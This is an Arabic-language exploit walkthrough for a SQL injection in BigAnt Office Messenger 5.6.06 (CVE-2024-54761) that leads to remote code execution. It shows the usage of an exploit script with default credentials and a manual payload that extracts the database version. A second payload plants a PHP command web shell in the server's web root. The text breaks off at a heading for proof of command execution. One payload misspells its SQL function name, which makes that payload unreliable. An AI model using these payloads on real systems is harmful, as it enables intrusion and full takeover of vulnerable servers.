BigAnt Office Messenger 5.6.06 RCE عبر حقن SQL

ثغرة حقن SQL في BigAnt Messenger تؤدي إلى ثغرة تنفيذ أوامر عن بُعد (RCE). اتبع الخطوات التالية للاستغلال.

الاستخدام:

CVE-2024-54761.py [-h] -r RHOST [-p RPORT] [-u USERNAME] [-P PASSWORD]
options:
  -h, --help            show this help message and exit
  -r, --rhost RHOST     Target IP address
  -p, --rport RPORT     Target port (default 8000)
  -u, --username USERNAME
                        Login username (default admin)
  -P, --password PASSWORD
                        Login password (default 123456)

شغّل أداة الاستغلال باستخدام بيانات الاعتماد الافتراضية.

python CVE-2024-54761.py -r 127.0.0.1

الاستغلال اليدوي

استخرج إصدار قاعدة البيانات المستخدمة عبر المعامل dev_code المعرّض لحقن SQL.

# Payload
?dev_code=AND EXTARCTVALUE(rand(),concat(CHAR(126),version(),CHAR(126)))--

إصدار SQLI ارفع قشرة ويب PHP على الهدف باستخدام استعلامات SQL المكدَّسة.

# Payload
?dev_code=;SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE 'C:/Program Files (x86)/BigAntSoft/IM Console/im_webserver/htdocs/shell.php'-- -

إنشاء قشرة ويب 1 إثبات تنفيذ الأوامر: